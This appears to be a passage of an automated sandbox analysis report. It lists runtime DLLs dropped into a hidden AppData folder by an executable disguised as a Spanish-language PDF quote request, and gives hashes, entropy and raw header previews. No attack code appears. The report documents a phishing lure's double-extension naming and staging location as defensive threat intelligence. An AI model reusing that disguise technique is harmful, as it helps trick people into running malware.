Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....&............!......................... ...............................0......0.....@.......................................... ..................0=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....&.........;...T...T........&.........d................&.....................RSDS...O.""#.n....D:....api-ms-win-core-profile-l1-1-0.pdb..........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.....................&.....<...............(...0...8...w......._...........api-ms-win-core-profile-l1-1-0.dll.QueryPerformanceCounter.kernel32.QueryPerformanceCounter.QueryPerformanceFrequency.kernel32.QueryPerformanceFrequency....................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-rtlsupport-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17720
Entropy (8bit):	7.19694878324007
Encrypted:	false
SSDEEP:	384:61G1WPhWksnhi00GftpBjEVXremWRlP55Jk:kGiYnhoiqVXreDT5Y
MD5:	FDBA0DB0A1652D86CD471EAA509E56EA
SHA1:	3197CB45787D47BAC80223E3E98851E48A122EFA
SHA-256:	2257FEA1E71F7058439B3727ED68EF048BD91DCACD64762EB5C64A9D49DF0B57
SHA-512:	E5056D2BD34DC74FC5F35EA7AA8189AAA86569904B0013A7830314AE0E2763E95483FABDCBA93F6418FB447A4A74AB0F07712ED23F2E1B840E47A099B1E68E18
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L......(...........!......................... ...............................0......}"....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.......(........>...T...T..........(........d..................(....................RSDS?.L.N.o.....=.......api-ms-win-core-rtlsupport-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02...................(....F...............(...4...@...~...........l.................api-ms-win-core-rtlsupport-l1-1-0.dll.RtlCaptureContext.ntdll.RtlCaptureContext.RtlCaptureStackBackTrace.ntdll.RtlCaptureStackBackTrace.RtlUnwind.ntdll.RtlUnwind.

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-string-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.137724132900032
Encrypted:	false
SSDEEP:	384:xyMvRWPhWFs0i00GftpBjwCJdemnflUG+zI4:xyMvWWoibeTnn
MD5:	12CC7D8017023EF04EBDD28EF9558305
SHA1:	F859A66009D1CAAE88BF36B569B63E1FBDAE9493
SHA-256:	7670FDEDE524A485C13B11A7C878015E9B0D441B7D8EB15CA675AD6B9C9A7311
SHA-512:	F62303D98EA7D0DDBE78E4AB4DB31AC283C3A6F56DBE5E3640CBCF8C06353A37776BF914CFE57BBB77FC94CCFA48FAC06E74E27A4333FBDD112554C646838929
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....R............!......................... ...............................0.......\....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@......R.........:...T...T.........R.........d.................R.....................RSDS..D..a..1.f....7....api-ms-win-core-string-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02......................R.....x...............(...H...h...............)...O...x...........................>...i...........................api-ms-win-core-string-l1-1-0.dll.CompareStringEx.kernel32.CompareStringEx.CompareStringOrdinal.kernel32.Compare

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-synch-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	20280
Entropy (8bit):	7.04640581473745
Encrypted:	false
SSDEEP:	384:5Xdv3V0dfpkXc0vVaHWPhWXEi00GftpBj9em+4lndanJ7o:5Xdv3VqpkXc0vVa8poivex
MD5:	71AF7ED2A72267AAAD8564524903CFF6
SHA1:	8A8437123DE5A22AB843ADC24A01AC06F48DB0D3
SHA-256:	5DD4CCD63E6ED07CA3987AB5634CA4207D69C47C2544DFEFC41935617652820F
SHA-512:	7EC2E0FEBC89263925C0352A2DE8CC13DA37172555C3AF9869F9DBB3D627DD1382D2ED3FDAD90594B3E3B0733F2D3CFDEC45BC713A4B7E85A09C164C3DFA3875
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L......2...........!......................... ...............................0............@.............................V............ ..................8=..............T............................................................................text...V........................... ..`.rsrc........ ......................@..@.......2........9...T...T..........2........d..................2....................RSDS...z..C...+Q_.....api-ms-win-core-synch-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg.......V....edata... ..`....rsrc$01....` .......rsrc$02.......................2............)...)...(.......p.......1...c...................!...F...m...............$...X...........$...[.......................@...i...............!...Q.......................[...............7...........O...................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-synch-l1-2-0.dll Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.138910839042951
Encrypted:	false
SSDEEP:	384:JtZ3gWPhWFA0i00GftpBj4Z8wemFfYlP55t:j+oiVweb53
MD5:	0D1AA99ED8069BA73CFD74B0FDDC7B3A
SHA1:	BA1F5384072DF8AF5743F81FD02C98773B5ED147
SHA-256:	30D99CE1D732F6C9CF82671E1D9088AA94E720382066B79175E2D16778A3DAD1
SHA-512:	6B1A87B1C223B757E5A39486BE60F7DD2956BB505A235DF406BCF693C7DD440E1F6D65FFEF7FDE491371C682F4A8BB3FD4CE8D8E09A6992BB131ADDF11EF2BF9
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...XuY...........!......................... ...............................0......3.....@.............................v............ ..................8=..............T............................................................................text...v........................... ..`.rsrc........ ......................@..@....XuY........9...T...T.......XuY........d...............XuY....................RSDS.V..B...`..S3.....api-ms-win-core-synch-l1-2-0.pdb............T....rdata..T........rdata$zzzdbg.......v....edata... ..`....rsrc$01....` .......rsrc$02....................X*uY....................(...l...........R...................W...............&...b...............$...W.......6...w...............;...\|...............H...................A.....................................api-ms-win-core-synch-

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-sysinfo-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19248
Entropy (8bit):	7.072555805949365
Encrypted:	false
SSDEEP:	384:2q25WPhWWsnhi00GftpBj1u6qXxem4l1z6hi:25+SnhoiG6IeA8
MD5:	19A40AF040BD7ADD901AA967600259D9
SHA1:	05B6322979B0B67526AE5CD6E820596CBE7393E4
SHA-256:	4B704B36E1672AE02E697EFD1BF46F11B42D776550BA34A90CD189F6C5C61F92
SHA-512:	5CC4D55350A808620A7E8A993A90E7D05B441DA24127A00B15F96AAE902E4538CA4FED5628D7072358E14681543FD750AD49877B75E790D201AB9BAFF6898C8D
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....C=...........!......................... ...............................0............@.............................E............ ..................0=..............T............................................................................text...E........................... ..`.rsrc........ ......................@..@......C=........;...T...T.........C=........d.................C=....................RSDS....T.>eD.#\|.../....api-ms-win-core-sysinfo-l1-1-0.pdb..........T....rdata..T........rdata$zzzdbg.......E....edata... ..`....rsrc$01....` .......rsrc$02......................C=....................(...........:...i...............N...................7...s...............+...M...r.............../...'...V...............:...k...................X............... ...?...d..............."...................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-timezone-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18224
Entropy (8bit):	7.17450177544266
Encrypted:	false
SSDEEP:	384:SWPhWK3di00GftpBjH35Gvem2Al1z6hIu:77NoiOve7eu
MD5:	BABF80608FD68A09656871EC8597296C
SHA1:	33952578924B0376CA4AE6A10B8D4ED749D10688
SHA-256:	24C9AA0B70E557A49DAC159C825A013A71A190DF5E7A837BFA047A06BBA59ECA
SHA-512:	3FFFFD90800DE708D62978CA7B50FE9CE1E47839CDA11ED9E7723ACEC7AB5829FA901595868E4AB029CDFB12137CF8ECD7B685953330D0900F741C894B88257B
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....Y.x...........!......................... ...............................0......}3....@.......................................... ..................0=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....Y.x........<...T...T........Y.x........d................Y.x....................RSDS.^.b. .t.H.a.......api-ms-win-core-timezone-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.....................Y.x....................(...L...p...........5...s...........+...i...................U...............I.........................api-ms-win-core-timezone-l1-1-0.dll.FileTimeToSystemTime.kernel32.FileTimeToSystemTime.GetDynamicTimeZ

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-util-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.1007227686954275
Encrypted:	false
SSDEEP:	192:pePWIghWG4U9wluZo123Ouo+Uggs/nGfe4pBjSbKT8wuxWh0txKdmVWQ4CWnFnwQ:pYWPhWFS0i00GftpBj7DudemJlP552
MD5:	0F079489ABD2B16751CEB7447512A70D
SHA1:	679DD712ED1C46FBD9BC8615598DA585D94D5D87
SHA-256:	F7D450A0F59151BCEFB98D20FCAE35F76029DF57138002DB5651D1B6A33ADC86
SHA-512:	92D64299EBDE83A4D7BE36F07F65DD868DA2765EB3B39F5128321AFF66ABD66171C7542E06272CB958901D403CCF69ED716259E0556EE983D2973FAA03C55D3E
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....f............!......................... ...............................0......`k....@.............................9............ ..................8=..............T............................................................................text...)........................... ..`.rsrc........ ......................@..@......f.........8...T...T.........f.........d.................f.....................RSDS*...$.L.Rm..l.....api-ms-win-core-util-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg.......9....edata... ..`....rsrc$01....` .......rsrc$02..........f.....J...................,...@...o...................j...}.........................api-ms-win-core-util-l1-1-0.dll.Beep.kernel32.Beep.DecodePointer.kernel32.DecodePointer.DecodeSystemPointer.kernel32.DecodeSystemPointer.EncodePointer.kernel3

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-conio-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19256
Entropy (8bit):	7.088693688879585
Encrypted:	false
SSDEEP:	384:8WPhWz4Ri00GftpBjDb7bemHlndanJ7DW:Fm0oiV7beV
MD5:	6EA692F862BDEB446E649E4B2893E36F
SHA1:	84FCEAE03D28FF1907048ACEE7EAE7E45BAAF2BD
SHA-256:	9CA21763C528584BDB4EFEBE914FAAF792C9D7360677C87E93BD7BA7BB4367F2
SHA-512:	9661C135F50000E0018B3E5C119515CFE977B2F5F88B0F5715E29DF10517B196C81694D074398C99A572A971EC843B3676D6A831714AB632645ED25959D5E3E7
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.................!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v..............................8...d...d..................d......................................RSDS....<....2..u....api-ms-win-crt-conio-l1-1-0.pdb.........d....rdata..d........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02...............T...............(.......................>...w.........../...W...p...........................,...L...l.......................,...L...m...............t...........'...^...............P...g...........................$...=...

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-convert-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	22328
Entropy (8bit):	6.929204936143068
Encrypted:	false
SSDEEP:	384:EuydWPhW7snhi00GftpBjd6t/emJlDbN:3tnhoi6t/eAp
MD5:	72E28C902CD947F9A3425B19AC5A64BD
SHA1:	9B97F7A43D43CB0F1B87FC75FEF7D9EEEA11E6F7
SHA-256:	3CC1377D495260C380E8D225E5EE889CBB2ED22E79862D4278CFA898E58E44D1
SHA-512:	58AB6FEDCE2F8EE0970894273886CB20B10D92979B21CDA97AE0C41D0676CC0CD90691C58B223BCE5F338E0718D1716E6CE59A106901FE9706F85C3ACF7855FF
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....NE............!.........................0...............................@............@..........................................0..................8=..............T............................................................................text............................... ..`.rsrc........0......................@..@v....................NE.........:...d...d........NE.........d................NE.....................RSDS..e.7P.g^j..[....api-ms-win-crt-convert-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg............edata...0..`....rsrc$01....`0.......rsrc$02.....................NE.............z...z...8... .......(...C...^...y...........................1...N...k...............................*...E...`...y...............................5...R...o.......................,...M...n...........

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-environment-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18736
Entropy (8bit):	7.078409479204304
Encrypted:	false
SSDEEP:	192:bWIghWGd4edXe123Ouo+Uggs/nGfe4pBjSXXmv5Wh0txKdmVWQ4SWEApkqnajPBZ:bWPhWqXYi00GftpBjBemPl1z6h2
MD5:	AC290DAD7CB4CA2D93516580452EDA1C
SHA1:	FA949453557D0049D723F9615E4F390010520EDA
SHA-256:	C0D75D1887C32A1B1006B3CFFC29DF84A0D73C435CDCB404B6964BE176A61382
SHA-512:	B5E2B9F5A9DD8A482169C7FC05F018AD8FE6AE27CB6540E67679272698BFCA24B2CA5A377FA61897F328B3DEAC10237CAFBD73BC965BF9055765923ABA9478F8
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....jU............!......................... ...............................0......G.....@............................."............ ..................0=..............T............................................................................text...2........................... ..`.rsrc........ ......................@..@v....................jU.........>...d...d........jU.........d................jU.....................RSDSu..1.N....R.s,"\....api-ms-win-crt-environment-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg......."....edata... ..`....rsrc$01....` .......rsrc$02.................jU.....................8...............C...d...........................3...O...l....................... .......5...Z...w.......................)...F...a...........................................................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-filesystem-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	20280
Entropy (8bit):	7.085387497246545
Encrypted:	false
SSDEEP:	384:sq6nWm5C1WPhWFK0i00GftpBjB1UemKklUG+zIOd/:x6nWm5CiooiKeZnbd/
MD5:	AEC2268601470050E62CB8066DD41A59
SHA1:	363ED259905442C4E3B89901BFD8A43B96BF25E4
SHA-256:	7633774EFFE7C0ADD6752FFE90104D633FC8262C87871D096C2FC07C20018ED2
SHA-512:	0C14D160BFA3AC52C35FF2F2813B85F8212C5F3AFBCFE71A60CCC2B9E61E51736F0BF37CA1F9975B28968790EA62ED5924FAE4654182F67114BD20D8466C4B8F
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L......h...........!......................... ...............................0......I.....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v......................h........=...d...d..........h........d..................h....................RSDS.....a.'..G...A.....api-ms-win-crt-filesystem-l1-1-0.pdb............d....rdata..d........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02...................h............A...A...8...<...@...........$...=...V...q...................)...M...q......................./...O...o...........................7...X...v...........................6...U...r.......................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-heap-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19256
Entropy (8bit):	7.060393359865728
Encrypted:	false
SSDEEP:	192:+Y3vY17aFBR4WIghWG4U9CedXe123Ouo+Uggs/nGfe4pBjSbGGAPWh0txKdmVWQC:+Y3e9WPhWFsXYi00GftpBjfemnlP55s
MD5:	93D3DA06BF894F4FA21007BEE06B5E7D
SHA1:	1E47230A7EBCFAF643087A1929A385E0D554AD15
SHA-256:	F5CF623BA14B017AF4AEC6C15EEE446C647AB6D2A5DEE9D6975ADC69994A113D
SHA-512:	72BD6D46A464DE74A8DAC4C346C52D068116910587B1C7B97978DF888925216958CE77BE1AE049C3DCCF5BF3FFFB21BC41A0AC329622BC9BBC190DF63ABB25C6
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...J.o ...........!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v...................J.o ........7...d...d.......J.o ........d...............J.o ....................RSDSq.........pkQX[....api-ms-win-crt-heap-l1-1-0.pdb..........d....rdata..d........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02........J.o ....6...............(...........c...................S.......................1...V...y.......................<...c...........................U...z...............:...u...................&...E...p.......................,...U...

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-locale-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.13172731865352
Encrypted:	false
SSDEEP:	192:fiWIghWGZirX+4z123Ouo+Uggs/nGfe4pBjS/RFcpOWh0txKdmVWQ4GWs8ylDikh:aWPhWjO4Ri00GftpBjZOemSXlvNQ0
MD5:	A2F2258C32E3BA9ABF9E9E38EF7DA8C9
SHA1:	116846CA871114B7C54148AB2D968F364DA6142F
SHA-256:	565A2EEC5449EEEED68B430F2E9B92507F979174F9C9A71D0C36D58B96051C33
SHA-512:	E98CBC8D958E604EFFA614A3964B3D66B6FC646BDCA9AA679EA5E4EB92EC0497B91485A40742F3471F4FF10DE83122331699EDC56A50F06AE86F21FAD70953FE
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...\|..O...........!......................... ...............................0......E*....@.............................e............ ..................8=..............T............................................................................text...u........................... ..`.rsrc........ ......................@..@v...................\|..O........9...d...d.......\|..O........d...............\|..O....................RSDS.X...7.......$k....api-ms-win-crt-locale-l1-1-0.pdb............d....rdata..d........rdata$zzzdbg.......e....edata... ..`....rsrc$01....` .......rsrc$02....................\|..O....................8...........5...h...............E...................$...N...t...................$...D...b...!...R............... ...s...................:...k.......................9...X...................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-math-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	28984
Entropy (8bit):	6.6686462438397
Encrypted:	false
SSDEEP:	384:7OTEmbM4Oe5grykfIgTmLyWPhW30i00GftpBjAKemXlDbNl:dEMq5grxfInbRoiNeSp
MD5:	8B0BA750E7B15300482CE6C961A932F0
SHA1:	71A2F5D76D23E48CEF8F258EAAD63E586CFC0E19
SHA-256:	BECE7BAB83A5D0EC5C35F0841CBBF413E01AC878550FBDB34816ED55185DCFED
SHA-512:	FB646CDCDB462A347ED843312418F037F3212B2481F3897A16C22446824149EE96EB4A4B47A903CA27B1F4D7A352605D4930DF73092C380E3D4D77CE4E972C5A
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L..................!.........................@...............................P............@..............................+...........@...............4..8=..............T............................................................................text....,.......................... ..`.rsrc........@.......0..............@..@v...............................7...d...d...................d.......................................RSDSB...=........,....api-ms-win-crt-math-l1-1-0.pdb..........d....rdata..d........rdata$zzzdbg........+...edata...@..`....rsrc$01....`@.......rsrc$02................l.......:...:...(...................................(...@...X...q...............................4...M...g........................ ..= ..i ... ... ... ...!..E!..o!...!...!...!..."..F"..s"..."..."..."...#..E#..o#...#...#..

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-multibyte-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	26424
Entropy (8bit):	6.712286643697659
Encrypted:	false
SSDEEP:	384:kDy+Kr6aLPmIHJI6/CpG3t2G3t4odXL5WPhWFY0i00GftpBjbnMxem8hzlmTMiLV:kDZKrZPmIHJI64GoiZMxe0V
MD5:	35FC66BD813D0F126883E695664E7B83
SHA1:	2FD63C18CC5DC4DEFC7EA82F421050E668F68548
SHA-256:	66ABF3A1147751C95689F5BC6A259E55281EC3D06D3332DD0BA464EFFA716735
SHA-512:	65F8397DE5C48D3DF8AD79BAF46C1D3A0761F727E918AE63612EA37D96ADF16CC76D70D454A599F37F9BA9B4E2E38EBC845DF4C74FC1E1131720FD0DCB881431
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....u'............!.....$...................@...............................P............@.............................. ...........@...............*..8=..............T............................................................................text....".......$.................. ..`.rsrc........@.......&..............@..@v....................u'.........<...d...d........u'.........d................u'.....................RSDS7.%..5..+...+.....api-ms-win-crt-multibyte-l1-1-0.pdb.........d....rdata..d........rdata$zzzdbg........ ...edata...@..`....rsrc$01....`@.......rsrc$02.....................u'.....................8...X...x...;...`.......................1...T...w...................'...L...q.......................B...e.......................7...Z...}...................+...L...m.......................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-private-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	73016
Entropy (8bit):	5.838702055399663
Encrypted:	false
SSDEEP:	1536:VAHEGlVDe5c4bFE2Jy2cvxXWpD9d3334BkZnkPFZo6kt:Vc7De5c4bFE2Jy2cvxXWpD9d3334BkZj
MD5:	9910A1BFDC41C5B39F6AF37F0A22AACD
SHA1:	47FA76778556F34A5E7910C816C78835109E4050
SHA-256:	65DED8D2CE159B2F5569F55B2CAF0E2C90F3694BD88C89DE790A15A49D8386B9
SHA-512:	A9788D0F8B3F61235EF4740724B4A0D8C0D3CF51F851C367CC9779AB07F208864A7F1B4A44255E0DE8E030D84B63B1BDB58F12C8C20455FF6A55EF6207B31A91
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....^1...........!................................................................R.....@.............................................................8=..............T............................................................................text............................... ..`.rsrc...............................@..@v.....................^1........:...d...d.........^1........d.................^1....................RSDS.J..w/.8..bu..3.....api-ms-win-crt-private-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg............edata......`....rsrc$01....`........rsrc$02......................^1.....>..............8...h#...5...>...?..7?.._?...?...?...?...@..V@...@...@...@..+A..\A...A...A...A...B..LB...B...B...C..HC...C...C...C...C...D..HD...D...D...E..eE...E...E...F..1F..gF...F...F...G..BG..uG...G..

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-process-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19256
Entropy (8bit):	7.076072254895036
Encrypted:	false
SSDEEP:	192:aRQqjd7dWIghWG4U9kuDz7M123Ouo+Uggs/nGfe4pBjSbAURWh0txKdmVWQ4CW+6:aKcWPhWFkDz6i00GftpBjYemZlUG+zIU
MD5:	8D02DD4C29BD490E672D271700511371
SHA1:	F3035A756E2E963764912C6B432E74615AE07011
SHA-256:	C03124BA691B187917BA79078C66E12CBF5387A3741203070BA23980AA471E8B
SHA-512:	D44EF51D3AAF42681659FFFFF4DD1A1957EAF4B8AB7BB798704102555DA127B9D7228580DCED4E0FC98C5F4026B1BAB242808E72A76E09726B0AF839E384C3B0
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...l.h............!......................... ...............................0.......U....@.............................x............ ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v...................l.h.........:...d...d.......l.h.........d...............l.h.....................RSDSZ\.qM..I....3.....api-ms-win-crt-process-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg.......x....edata... ..`....rsrc$01....` .......rsrc$02....................l.h.............$...$...8.......X...................&...@...Y...q...........................*...E..._...z.......................!...<...V...q...........................9...V...t.......................7...R...i...

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-runtime-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	22840
Entropy (8bit):	6.942029615075195
Encrypted:	false
SSDEEP:	384:7b7hrKwWPhWFlsnhi00GftpBj+6em90lmTMiLzrF7:7bNrKxZnhoig6eQN7
MD5:	41A348F9BEDC8681FB30FA78E45EDB24
SHA1:	66E76C0574A549F293323DD6F863A8A5B54F3F9B
SHA-256:	C9BBC07A033BAB6A828ECC30648B501121586F6F53346B1CD0649D7B648EA60B
SHA-512:	8C2CB53CCF9719DE87EE65ED2E1947E266EC7E8343246DEF6429C6DF0DC514079F5171ACD1AA637276256C607F1063144494B992D4635B01E09DDEA6F5EEF204
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....L............!.........................0...............................@.......i....@..........................................0..................8=..............T............................................................................text............................... ..`.rsrc........0......................@..@v.....................L.........:...d...d.........L.........d.................L.....................RSDS6..>[d.=. ....C....api-ms-win-crt-runtime-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg............edata...0..`....rsrc$01....`0.......rsrc$02......................L.....f.......k...k...8...............................4...S...s.......................E...g.......................)...N...n...................&...E...f...................'...D...j.......................>.......

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-stdio-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	24368
Entropy (8bit):	6.873960147000383
Encrypted:	false
SSDEEP:	384:GZpFVhjWPhWxEi00GftpBjmjjem3Cl1z6h1r:eCfoi0espbr
MD5:	FEFB98394CB9EF4368DA798DEAB00E21
SHA1:	316D86926B558C9F3F6133739C1A8477B9E60740
SHA-256:	B1E702B840AEBE2E9244CD41512D158A43E6E9516CD2015A84EB962FA3FF0DF7
SHA-512:	57476FE9B546E4CAFB1EF4FD1CBD757385BA2D445D1785987AFB46298ACBE4B05266A0C4325868BC4245C2F41E7E2553585BFB5C70910E687F57DAC6A8E911E8
Malicious:	false
